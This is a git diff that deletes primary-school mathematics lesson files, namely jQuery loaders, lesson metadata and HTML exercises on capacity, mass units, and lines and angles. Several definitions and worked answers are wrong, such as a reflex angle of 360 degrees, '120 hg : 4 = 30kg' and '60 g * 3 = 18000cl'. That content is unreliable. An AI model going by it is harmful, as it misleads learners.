-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m10/map511m10a04/lesson.js b/Save_Mathematics/P5/map511m10/map511m10a04/lesson.js
deleted file mode 100644
index e9736ef..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m10/map511m10a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m10/map511m10a04/source.txt b/Save_Mathematics/P5/map511m10/map511m10a04/source.txt
deleted file mode 100644
index 784beba..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a04/source.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-<p>
- Evaluation
-</p>
-<p>
- 1) A top pours 35 liters of water per minute .How many mililiters does
- <br />
- it pours in 60 minutes ?
- <br />
- <br />
- 2) A hotel uses 350 liters of oil for cooking every manch.How much cooking oil in ml
- <br />
- does it use in 4 months ?
- <br />
- <br />
- 3) Multiply 38 l 42cl * 6 = .................... hl
- <br />
- <br />
- 4) Kagugu school uses 1400 l of water in a week .
- <br />
- How many liters does it use daily ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a05/a.txt b/Save_Mathematics/P5/map511m10/map511m10a05/a.txt
deleted file mode 100644
index 5319d67..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a05/a.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- 1) A tank holds 800dl of water .How much water in kl will 7
- <br />
- such tanks hold ?
- <br />
- <br />
- 2) Share 40 liters 8dl of juice equally amang 3 classes. Howmany all
- <br />
- ofjuice does each get ?
- <br />
- <br />
- 3) How many bottles each 150cl can be filled from a container
- <br />
- of water holding 3 liters ?
- <br />
- <br />
- 4) calculate: a) 130dal + 4200 l = .................. cl
- <br />
- <br />
- b) 406 l 230cl * 4 = ................. l
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m10/map511m10a05/description.py b/Save_Mathematics/P5/map511m10/map511m10a05/description.py
deleted file mode 100644
index 995a65d..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m10a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m10/map511m10a05/lesson.js b/Save_Mathematics/P5/map511m10/map511m10a05/lesson.js
deleted file mode 100644
index caab0a8..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m10/map511m10a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m10/map511m10a05/source.txt b/Save_Mathematics/P5/map511m10/map511m10a05/source.txt
deleted file mode 100644
index 5319d67..0000000
--- a/Save_Mathematics/P5/map511m10/map511m10a05/source.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- 1) A tank holds 800dl of water .How much water in kl will 7
- <br />
- such tanks hold ?
- <br />
- <br />
- 2) Share 40 liters 8dl of juice equally amang 3 classes. Howmany all
- <br />
- ofjuice does each get ?
- <br />
- <br />
- 3) How many bottles each 150cl can be filled from a container
- <br />
- of water holding 3 liters ?
- <br />
- <br />
- 4) calculate: a) 130dal + 4200 l = .................. cl
- <br />
- <br />
- b) 406 l 230cl * 4 = ................. l
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m11/activities.js b/Save_Mathematics/P5/map511m11/activities.js
deleted file mode 100755
index ec3e4f8..0000000
--- a/Save_Mathematics/P5/map511m11/activities.js
+++ /dev/null
@@ -1,6 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m11a01','blue'],
-['2','2','map5','basic','map511m11a02','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m11/map511m11a01/a.txt b/Save_Mathematics/P5/map511m11/map511m11a01/a.txt
deleted file mode 100644
index d092f1d..0000000
--- a/Save_Mathematics/P5/map511m11/map511m11a01/a.txt
+++ /dev/null
@@ -1,99 +0,0 @@
-<p>
- Introduction
-</p>
-<p>
- It is necessary to have knowledge about geometry basically so as to make the learners to understand how they can build a house,classrooms and other construction by using lines and angles.For examples vertical line,horizontal line,oblique line,closed line,right angle,obtuse angle and acute angle...
- <br />
- <br />
- <br style="font-weight: bold; text-decoration: underline;" />
- <span style="font-weight: bold; text-decoration: underline;">
-  PRESENTATION OF LINES AND ANGLES
- </span>
- <br />
- <br />
- 1.Vertical line
- <br />
- 2.Straight line
- <br />
- 3.Parallel line
- <br />
- 4.Intersect lines
- <br />
- 5.oblique line
- <br />
- 6.Perpendicular lines
- <br />
- 7.Segment straight line
- <br />
- 8.Spiral line
- <br />
- 9.A ray
- <br />
- 10.Semi-straight line
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- : When two lines join, it forms one or more angles.
- <br />
- <br />
- <br />
- 1.Right angle with 90 degree.
- <br />
- 2.Obtuse angle with 120 degree.
- <br />
- 3.Acute angle with 0 up to 89 degree.
- <br />
- 4.Flat angle with 180 degree.
- <br />
- 5.Reflex angle with 360 degree.
- <br />
- 6.An angle at a point.
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  NOTES
- </span>
- :a)Acute angle is less than 90
- <sup>
-  o
- </sup>
- <br />
- b)Right angle has only 90
- <sup>
-  o
- </sup>
- <br />
- c)Obtuse angle is greater than 90
- <sup>
-  o
- </sup>
- but less than 180
- <sup>
-  o
- </sup>
- <br />
- d)Straight line angle/flat angle has only 180
- <sup>
-  o
- </sup>
- <br />
- e)Reflex angle is greater than 180
- <sup>
-  o
- </sup>
- but less than360
- <sup>
-  o
- </sup>
- <br />
- f)Center angle/revolution angle 360
- <sup>
-  o
- </sup>
- ,it is an angle at a point.
- <br />
- g)A ray is a part of a line with one end point.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m11/map511m11a01/description.py b/Save_Mathematics/P5/map511m11/map511m11a01/description.py
deleted file mode 100644
index d95d4cc..0000000
--- a/Save_Mathematics/P5/map511m11/map511m11a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m11a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m11/map511m11a01/lesson.js b/Save_Mathematics/P5/map511m11/map511m11a01/lesson.js
deleted file mode 100644
index abb713b..0000000
--- a/Save_Mathematics/P5/map511m11/map511m11a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m11/map511m11a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m11/map511m11a01/source.txt b/Save_Mathematics/P5/map511m11/map511m11a01/source.txt
deleted file mode 100644
index d092f1d..0000000
--- a/Save_Mathematics/P5/map511m11/map511m11a01/source.txt
+++ /dev/null
@@ -1,99 +0,0 @@
-<p>
- Introduction
-</p>
-<p>
- It is necessary to have knowledge about geometry basically so as to make the learners to understand how they can build a house,classrooms and other construction by using lines and angles.For examples vertical line,horizontal line,oblique line,closed line,right angle,obtuse angle and acute angle...
- <br />
- <br />
- <br style="font-weight: bold; text-decoration: underline;" />
- <span style="font-weight: bold; text-decoration: underline;">
-  PRESENTATION OF LINES AND ANGLES
- </span>
- <br />
- <br />
- 1.Vertical line
- <br />
- 2.Straight line
- <br />
- 3.Parallel line
- <br />
- 4.Intersect lines
- <br />
- 5.oblique line
- <br />
- 6.Perpendicular lines
- <br />
- 7.Segment straight line
- <br />
- 8.Spiral line
- <br />
- 9.A ray
- <br />
- 10.Semi-straight line
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- : When two lines join, it forms one or more angles.
- <br />
- <br />
- <br />
- 1.Right angle with 90 degree.
- <br />
- 2.Obtuse angle with 120 degree.
- <br />
- 3.Acute angle with 0 up to 89 degree.
- <br />
- 4.Flat angle with 180 degree.
- <br />
- 5.Reflex angle with 360 degree.
- <br />
- 6.An angle at a point.
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  NOTES
- </span>
- :a)Acute angle is less than 90
- <sup>
-  o
- </sup>
- <br />
- b)Right angle has only 90
- <sup>
-  o
- </sup>
- <br />
- c)Obtuse angle is greater than 90
- <sup>
-  o
- </sup>
- but less than 180
- <sup>
-  o
- </sup>
- <br />
- d)Straight line angle/flat angle has only 180
- <sup>
-  o
- </sup>
- <br />
- e)Reflex angle is greater than 180
- <sup>
-  o
- </sup>
- but less than360
- <sup>
-  o
- </sup>
- <br />
- f)Center angle/revolution angle 360
- <sup>
-  o
- </sup>
- ,it is an angle at a point.
- <br />
- g)A ray is a part of a line with one end point.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m11/map511m11a02/a.txt b/Save_Mathematics/P5/map511m11/map511m11a02/a.txt
deleted file mode 100644
index 51218cc..0000000
--- a/Save_Mathematics/P5/map511m11/map511m11a02/a.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-<p>
- Guided Practice
-</p>
-<p>
- 1.Name the type of the following angles;
- <br />
- a)180
- <sup>
-  o
- </sup>
- <br />
- b)70
- <sup>
-  o
- </sup>
- <br />
- c)36
- <sup>
-  o
- </sup>
- <br />
- d)100
- <sup>
-  o
- </sup>
- <br />
- e)45
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
- 2.Represent the following lines;
- <br />
- a)Parallel lines
- <br />
- b)Perpendicular lines
- <br />
- c)Reflex angle
- <br />
- d)Spiral line
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- 1.a
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m11/map511m11a02/description.py b/Save_Mathematics/P5/map511m11/map511m11a02/description.py
deleted file mode 100644
index 8ad6463..0000000
--- a/Save_Mathematics/P5/map511m11/map511m11a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m11a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m11/map511m11a02/lesson.js b/Save_Mathematics/P5/map511m11/map511m11a02/lesson.js
deleted file mode 100644
index 0c05062..0000000
--- a/Save_Mathematics/P5/map511m11/map511m11a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m11/map511m11a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m11/map511m11a02/source.txt b/Save_Mathematics/P5/map511m11/map511m11a02/source.txt
deleted file mode 100644
index 51218cc..0000000
--- a/Save_Mathematics/P5/map511m11/map511m11a02/source.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-<p>
- Guided Practice
-</p>
-<p>
- 1.Name the type of the following angles;
- <br />
- a)180
- <sup>
-  o
- </sup>
- <br />
- b)70
- <sup>
-  o
- </sup>
- <br />
- c)36
- <sup>
-  o
- </sup>
- <br />
- d)100
- <sup>
-  o
- </sup>
- <br />
- e)45
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
- 2.Represent the following lines;
- <br />
- a)Parallel lines
- <br />
- b)Perpendicular lines
- <br />
- c)Reflex angle
- <br />
- d)Spiral line
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- 1.a
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/activities.js b/Save_Mathematics/P5/map511m12/activities.js
deleted file mode 100755
index b803c09..0000000
--- a/Save_Mathematics/P5/map511m12/activities.js
+++ /dev/null
@@ -1,9 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m12a01','blue'],
-['2','2','map5','basic','map511m12a02','blue'],
-['3','3','map5','basic','map511m12a03','blue'],
-['4','4','map5','basic','map511m12a04','blue'],
-['5','5','map5','basic','map511m12a05','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m12/map511m12a01/a.txt b/Save_Mathematics/P5/map511m12/map511m12a01/a.txt
deleted file mode 100644
index 8ea4d35..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a01/a.txt
+++ /dev/null
@@ -1,75 +0,0 @@
-<p>
- Introduction
-</p>
-<p>
- In human being life, we usually use the mass measurements by calculating the quantities of everything such as a solid.
- <br />
- <br />
- For examples, the quantity of beans,cones ,banana,stones and potatoes ....
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  A TABLE
- </span>
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    kg
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    hg
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dag
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    g
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dg
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    cg
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    mg
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a01/description.py b/Save_Mathematics/P5/map511m12/map511m12a01/description.py
deleted file mode 100644
index 0db873f..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m12a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m12/map511m12a01/lesson.js b/Save_Mathematics/P5/map511m12/map511m12a01/lesson.js
deleted file mode 100644
index 985a6fb..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m12/map511m12a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m12/map511m12a01/source.txt b/Save_Mathematics/P5/map511m12/map511m12a01/source.txt
deleted file mode 100644
index 8ea4d35..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a01/source.txt
+++ /dev/null
@@ -1,75 +0,0 @@
-<p>
- Introduction
-</p>
-<p>
- In human being life, we usually use the mass measurements by calculating the quantities of everything such as a solid.
- <br />
- <br />
- For examples, the quantity of beans,cones ,banana,stones and potatoes ....
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  A TABLE
- </span>
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    kg
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    hg
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dag
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    g
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    dg
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    cg
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    mg
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a02/a.txt b/Save_Mathematics/P5/map511m12/map511m12a02/a.txt
deleted file mode 100644
index aa0d7da..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a02/a.txt
+++ /dev/null
@@ -1,77 +0,0 @@
-<p>
- Guided Practice
-</p>
-<p>
- 1. convert the following units.
- <br />
- <br />
- a) 650g = ................ cg
- <br />
- <br />
- b) 1250 dg = ..........hg
- <br />
- <br />
- 2. calculate the following operations
- <br />
- <br />
- a) 20 kg + 15 hg = 21500g
- <br />
- <br />
- b) 40g + 6dag = 1
- <br />
- <br />
- c) 5t - 3kg =
- <br />
- <br />
- d) 130g -20dg = 12800cg
- <br />
- <br />
- e) 60 g * 3 = 18000cl
- <br />
- <br />
- f) 120 hg : 4 = 30kg
- <br />
- <br />
- 3) The mass of a bag of tea is 100kg .Find the mass of the empty sack
- <br />
- if the tea alone weighs 80kg
- <br />
- <br />
- the grass mass = 100kg = Netmass = 80kg
- <br />
- <br />
- the tore (weight of empty sack) = 100kg - 80kg =20kg
- <br />
- <br />
- Note: * When adding or subtracting different weights the first change
- <br />
- all units to the required unit.
- <br />
- <br />
- *
- <span style="text-decoration: underline;">
-  TARE
- </span>
- , It is the weight of an empty
- <br />
- container.
- <br />
- <br />
- *
- <span style="text-decoration: underline;">
-  Net mass
- </span>
- , It is the weight of the content
- <br />
- in a container.
- <br />
- <br />
- *
- <span style="text-decoration: underline;">
-  Gross mass
- </span>
- , It is the total weight of both the container and content.
- <br />
- <br />
- the signs can be used , mass (M) , Net mass (NM) gross mass (GM).
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a02/description.py b/Save_Mathematics/P5/map511m12/map511m12a02/description.py
deleted file mode 100644
index 2f31403..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m12a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m12/map511m12a02/lesson.js b/Save_Mathematics/P5/map511m12/map511m12a02/lesson.js
deleted file mode 100644
index c808e48..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m12/map511m12a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m12/map511m12a02/source.txt b/Save_Mathematics/P5/map511m12/map511m12a02/source.txt
deleted file mode 100644
index aa0d7da..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a02/source.txt
+++ /dev/null
@@ -1,77 +0,0 @@
-<p>
- Guided Practice
-</p>
-<p>
- 1. convert the following units.
- <br />
- <br />
- a) 650g = ................ cg
- <br />
- <br />
- b) 1250 dg = ..........hg
- <br />
- <br />
- 2. calculate the following operations
- <br />
- <br />
- a) 20 kg + 15 hg = 21500g
- <br />
- <br />
- b) 40g + 6dag = 1
- <br />
- <br />
- c) 5t - 3kg =
- <br />
- <br />
- d) 130g -20dg = 12800cg
- <br />
- <br />
- e) 60 g * 3 = 18000cl
- <br />
- <br />
- f) 120 hg : 4 = 30kg
- <br />
- <br />
- 3) The mass of a bag of tea is 100kg .Find the mass of the empty sack
- <br />
- if the tea alone weighs 80kg
- <br />
- <br />
- the grass mass = 100kg = Netmass = 80kg
- <br />
- <br />
- the tore (weight of empty sack) = 100kg - 80kg =20kg
- <br />
- <br />
- Note: * When adding or subtracting different weights the first change
- <br />
- all units to the required unit.
- <br />
- <br />
- *
- <span style="text-decoration: underline;">
-  TARE
- </span>
- , It is the weight of an empty
- <br />
- container.
- <br />
- <br />
- *
- <span style="text-decoration: underline;">
-  Net mass
- </span>
- , It is the weight of the content
- <br />
- in a container.
- <br />
- <br />
- *
- <span style="text-decoration: underline;">
-  Gross mass
- </span>
- , It is the total weight of both the container and content.
- <br />
- <br />
- the signs can be used , mass (M) , Net mass (NM) gross mass (GM).
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a03/a.txt b/Save_Mathematics/P5/map511m12/map511m12a03/a.txt
deleted file mode 100644
index c186e4b..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a03/a.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<p>
- Independent Practice
-</p>
-<p>
- 1.The mass of a pick up and 24sacks of cones is 6 tonnes.The mass of pick up alone is 1600kg.What is the net mass of cones in kilograms?   2.How many packets of 30 grams can be obtained from a big pack of 6 kilograms of sorghum flour?   3.A carton full of pencil boxes weighs 8kg.An empty carton weighs 20grams.  a)Find the weight of pencil boxes without the carton.  b)If each pencil box weighs 20 centigrams,find the number of pencil boxes in that carton.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a03/description.py b/Save_Mathematics/P5/map511m12/map511m12a03/description.py
deleted file mode 100644
index b651833..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m12a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m12/map511m12a03/lesson.js b/Save_Mathematics/P5/map511m12/map511m12a03/lesson.js
deleted file mode 100644
index b78acac..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m12/map511m12a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m12/map511m12a03/source.txt b/Save_Mathematics/P5/map511m12/map511m12a03/source.txt
deleted file mode 100644
index c186e4b..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a03/source.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-<p>
- Independent Practice
-</p>
-<p>
- 1.The mass of a pick up and 24sacks of cones is 6 tonnes.The mass of pick up alone is 1600kg.What is the net mass of cones in kilograms?   2.How many packets of 30 grams can be obtained from a big pack of 6 kilograms of sorghum flour?   3.A carton full of pencil boxes weighs 8kg.An empty carton weighs 20grams.  a)Find the weight of pencil boxes without the carton.  b)If each pencil box weighs 20 centigrams,find the number of pencil boxes in that carton.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a04/a.txt b/Save_Mathematics/P5/map511m12/map511m12a04/a.txt
deleted file mode 100644
index 1ed4ca1..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a04/a.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<p>
- 1.The mass of a pick up and 24sacks of cones is 6 tonnes.The mass of pick up alone is 1600kg.What is the net mass of cones in kilograms?
- <br />
- <br />
- <br />
- 2.How many packets of 30 grams can be obtained from a big pack of 6 kilograms of sorghum flour?
- <br />
- <br />
- <br />
- 3.A carton full of pencil boxes weighs 8kg.An empty carton weighs 20grams.
- <br />
- <br />
- a)Find the weight of pencil boxes without the carton.
- <br />
- <br />
- b)If each pencil box weighs 20 centigrams,find the number of pencil boxes in that carton.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a04/description.py b/Save_Mathematics/P5/map511m12/map511m12a04/description.py
deleted file mode 100644
index 9cf6199..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m12a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m12/map511m12a04/lesson.js b/Save_Mathematics/P5/map511m12/map511m12a04/lesson.js
deleted file mode 100644
index fe8249f..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m12/map511m12a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m12/map511m12a04/source.txt b/Save_Mathematics/P5/map511m12/map511m12a04/source.txt
deleted file mode 100644
index 1ed4ca1..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a04/source.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<p>
- 1.The mass of a pick up and 24sacks of cones is 6 tonnes.The mass of pick up alone is 1600kg.What is the net mass of cones in kilograms?
- <br />
- <br />
- <br />
- 2.How many packets of 30 grams can be obtained from a big pack of 6 kilograms of sorghum flour?
- <br />
- <br />
- <br />
- 3.A carton full of pencil boxes weighs 8kg.An empty carton weighs 20grams.
- <br />
- <br />
- a)Find the weight of pencil boxes without the carton.
- <br />
- <br />
- b)If each pencil box weighs 20 centigrams,find the number of pencil boxes in that carton.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a05/a.txt b/Save_Mathematics/P5/map511m12/map511m12a05/a.txt
deleted file mode 100644
index 4778e1c..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a05/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- 1.A handle bag weighs 6kg when full of books,the books alone weighs 3kg.What is the mass of an empty handle bag?
- <br />
- <br />
- <br />
- 2.A truck full of woods weighs 18 tonnes.If a full truck carries 450 pieces each of 20kg.Calculate the mass of an empty truck in tonnes.
- <br />
- <br />
- <br />
- 3.Subtract1800kg from 6tonnes.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m12/map511m12a05/description.py b/Save_Mathematics/P5/map511m12/map511m12a05/description.py
deleted file mode 100644
index 45104d1..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m12a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m12/map511m12a05/lesson.js b/Save_Mathematics/P5/map511m12/map511m12a05/lesson.js
deleted file mode 100644
index a45c296..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m12/map511m12a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m12/map511m12a05/source.txt b/Save_Mathematics/P5/map511m12/map511m12a05/source.txt
deleted file mode 100644
index 4778e1c..0000000
--- a/Save_Mathematics/P5/map511m12/map511m12a05/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- 1.A handle bag weighs 6kg when full of books,the books alone weighs 3kg.What is the mass of an empty handle bag?
- <br />
- <br />
- <br />
- 2.A truck full of woods weighs 18 tonnes.If a full truck carries 450 pieces each of 20kg.Calculate the mass of an empty truck in tonnes.
- <br />
- <br />
- <br />
- 3.Subtract1800kg from 6tonnes.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m13/activities.js b/Save_Mathematics/P5/map511m13/activities.js
deleted file mode 100755
index cfbc6fc..0000000
--- a/Save_Mathematics/P5/map511m13/activities.js
+++ /dev/null
@@ -1,9 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m13a01','blue'],
-['2','2','map5','basic','map511m13a02','blue'],
-['3','3','map5','basic','map511m13a03','blue'],
-['4','4','map5','basic','map511m13a04','blue'],
-['5','5','map5','basic','map511m13a05','blue'],
-];
-var assetList = [];
-var logos = [];
